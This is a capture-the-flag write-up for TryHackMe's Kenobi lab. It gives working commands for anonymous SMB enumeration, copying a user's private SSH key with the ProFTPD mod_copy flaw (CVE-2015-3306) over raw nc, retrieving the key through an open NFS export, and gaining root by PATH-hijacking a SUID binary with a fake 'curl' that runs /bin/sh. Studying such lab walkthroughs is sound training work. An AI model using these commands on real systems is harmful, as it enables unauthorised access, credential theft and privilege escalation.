# Kenobi Writeup - TryHackMe > Exploit Samba shares, abuse ProFTPd vulnerability via mod_copy, and leverage SUID binary path manipulation to root a Linux machine. - **URL:** https://hackindex.io/writeups/kenobi - **Platform:** TryHackMe - **Difficulty:** Easy - **Operating system:** Linux - **Machine:** https://tryhackme.com/room/kenobi - **Tags:** smb, ftp, privilege-escalation, suid, path-hijacking, cve-2015-3306 - **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md) - **Published:** 2026-09-12 - **Updated:** 2026-09-12 Kenobi is an Easy Linux machine that chains three separate vulnerabilities into a full compromise. An anonymous SMB share leaks the location of a private SSH key. ProFTPD 1.3.5's mod_copy module allows unauthenticated file copying, which is used to move the key somewhere NFS exports so it can be retrieved. The final escalation abuses a custom SUID binary that calls `curl` without a full path, making it vulnerable to PATH hijacking. ## Reconnaissance ```bash nmap -sV $TARGET_IP # Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-14 18:02 UTC # Nmap scan report for $TARGET_IP # Host is up (0.031s latency). # # PORT STATE SERVICE VERSION # 21/tcp open ftp ProFTPD 1.3.5 # 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) # 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) # 111/tcp open rpcbind 2-4 (RPC #100000) # 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) # 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) # 2049/tcp open nfs_acl 2-3 (RPC #100005) # Service Info: Host: KENOBI; OS: Linux; CPE: cpe:/o:linux:linux_kernel # # Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds ``` ProFTPD 1.3.5 is immediately worth noting, this version has a known unauthenticated file copy vulnerability in the mod_copy module. Ports 111 and 2049 confirm NFS is running, which becomes the retrieval mechanism. SMB on 139/445 is the first place to enumerate. ## SMB Enumeration ```bash smbclient -L //$TARGET_IP -N # Sharename Type Comment # --------- ---- ------- # print$ Disk Printer Drivers # anonymous Disk # IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu)) # SMB1 disabled -- no workgroup available ``` ```bash smbclient //$TARGET_IP/anonymous -N # Try "help" to get a list of possible commands. # smb: \> ls # . D 0 Wed Sep 4 11:49:09 2019 # .. D 0 Wed Sep 4 11:49:09 2019 # log.txt N 12237 Wed Sep 4 11:49:09 2019 # # 9204224 blocks of size 1024. 6877112 blocks available # smb: \> get log.txt # getting file \log.txt of size 12237 as log.txt (149.9 KiloBytes/sec) (average 149.9 KiloBytes/sec) # smb: \> bye ``` ```bash cat log.txt # Generating public/private rsa key pair. # Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): # Created directory '/home/kenobi/.ssh'. # ... # ProFTPD 1.3.5 Server 'ProFTPD Default Installation' [$TARGET_IP] # ... ``` `log.txt` reveals that an SSH key was generated for user `kenobi` at `/home/kenobi/.ssh/id_rsa`, and that ProFTPD is running as the user `kenobi`. This gives us the exact path of the key to steal and confirms ProFTPD has read access to kenobi's home directory. ## NFS Enumeration ```bash nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $TARGET_IP # PORT STATE SERVICE # 111/tcp open rpcbind # | nfs-showmount: # |_ /var * ``` `/var` is exported and mountable by anyone (`*`). The attack plan: use ProFTPD mod_copy to move the SSH key into `/var/tmp`, then retrieve it via the NFS mount. ## Exploitation ProFTPD 1.3.5 implements `SITE CPFR` (copy from) and `SITE CPTO` (copy to) commands in the mod_copy module. These commands work without any authentication in this version, so any connection can copy files the FTP process can read. Connecting with `nc` directly lets us issue raw FTP protocol commands: ```bash nc $TARGET_IP 21 # 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [$TARGET_IP] # SITE CPFR /home/kenobi/.ssh/id_rsa # 350 File or directory exists, ready for destination name # SITE CPTO /var/tmp/id_rsa # 250 Copy successful ``` The SSH key is now at `/var/tmp/id_rsa`, inside the NFS-exported `/var` tree. ## Initial Access Mount NFS and retrieve the key. ```bash mkdir /mnt/kenobiNFS ``` ```bash mount $TARGET_IP:/var /mnt/kenobiNFS ``` ```bash ls /mnt/kenobiNFS/tmp/ # id_rsa systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM ``` ```bash cp /mnt/kenobiNFS/tmp/id_rsa /tmp/id_rsa ``` ```bash chmod 600 /tmp/id_rsa ``` SSH requires private key files to be readable only by the owner (mode 600). Broader permissions cause SSH to reject the key. ```bash ssh -i /tmp/id_rsa kenobi@$TARGET_IP # The authenticity of host '$TARGET_IP' can't be established. # ECDSA key fingerprint is SHA256:usjA5HAAS3h8dA4/D83q2O5Ib1IkxfYJKCNM2rJO5fk. # Are you sure you want to continue connecting (yes/no/[fingerprint])? yes # Warning: Permanently added '$TARGET_IP' (ECDSA) to the list of known hosts. # # Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64) ``` ```bash cat /home/kenobi/user.txt # $USER_FLAG ``` ## Privilege Escalation Search for SUID binaries, executables that run as their owner regardless of who launches them: ```bash find / -perm -u=s -type f 2>/dev/null # /sbin/mount.nfs # /usr/lib/policykit-1/polkit-agent-helper-1 # /usr/lib/dbus-1.0/dbus-daemon-launch-helper # /usr/lib/snapd/snap-confine # /usr/lib/eject/dmcrypt-get-device # /usr/lib/openssh/ssh-keysign # /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic # /usr/bin/chfn # /usr/bin/newgidmap # /usr/bin/pkexec # /usr/bin/passwd # /usr/bin/newuidmap # /usr/bin/gpasswd # /usr/bin/menu # /usr/bin/sudo # /usr/bin/chsh # /usr/bin/at # /usr/bin/newgrp # /bin/umount # /bin/fusermount # /bin/mount # /bin/ping # /bin/su # /bin/ping6 ``` `/usr/bin/menu` is not a standard Linux binary. Inspect what it executes. ```bash strings /usr/bin/menu # /lib64/ld-linux-x86-64.so.2 # libc.so.6 # setuid # ... # *************************************** # 1. status check # 2. kernel version # 3. ifconfig # ** Enter your choice : # curl -I localhost # uname -r # ifconfig ``` `menu` calls `curl -I localhost`, `uname -r`, and `ifconfig` by name without absolute paths. When a process calls a program by name only, the OS searches `$PATH` directories in order. Placing a malicious script named `curl` earlier in `$PATH` than the real curl causes `menu` to execute it, and because `menu` is SUID root, the spawned shell runs as root. ```bash cd /tmp echo '/bin/sh' > curl chmod +x curl export PATH=/tmp:$PATH /usr/bin/menu # *************************************** # 1. status check # 2. kernel version # 3. ifconfig # ** Enter your choice :1 ``` ```bash id # uid=0(root) gid=0(root) groups=0(root),1000(kenobi) ``` ```bash cat /root/root.txt # $ROOT_FLAG ``` ## Key Takeaways - Anonymous SMB shares frequently contain configuration files and logs that reveal internal paths, usernames, and service versions. Always enumerate them fully before moving on. - ProFTPD 1.3.5 mod_copy (CVE-2015-3306): `SITE CPFR`/`SITE CPTO` allow unauthenticated file copying to anywhere the FTP process can write. Connecting with `nc` and issuing raw FTP commands is faster than searching for a packaged exploit. - NFS exports on port 2049 are accessible without credentials if the server exports to `*`. Port 111 reveals what is exported. Run the `nfs-showmount` script immediately when you see rpcbind. - `chmod 600` on an SSH private key is not optional. SSH refuses to use keys with broader permissions. - `find / -perm -u=s -type f 2>/dev/null` is the standard first command for Linux privilege escalation enumeration. Non-standard SUID binaries are always the priority to investigate. - SUID binaries that call programs without absolute paths are vulnerable to PATH hijacking. `strings` on the binary reveals what it calls. ## References - [TryHackMe: Kenobi](https://tryhackme.com/room/kenobi) - Room page - [Exploit-DB: ProFTPD 1.3.5 mod_copy](https://www.exploit-db.com/exploits/36742) - CVE-2015-3306 - [GTFOBins](https://gtfobins.github.io/gtfobins/nmap/) - SUID and sudo escalation techniques - [HackIndex: FTP](https://hackindex.io/services/ftp) - FTP enumeration and exploitation - [HackIndex: NFS](https://hackindex.io/services/nfs/enumeration/nfs-export-discovery) - NFS enumeration and exploitation - [HackIndex: SMB](https://hackindex.io/services/smb) - SMB enumeration techniques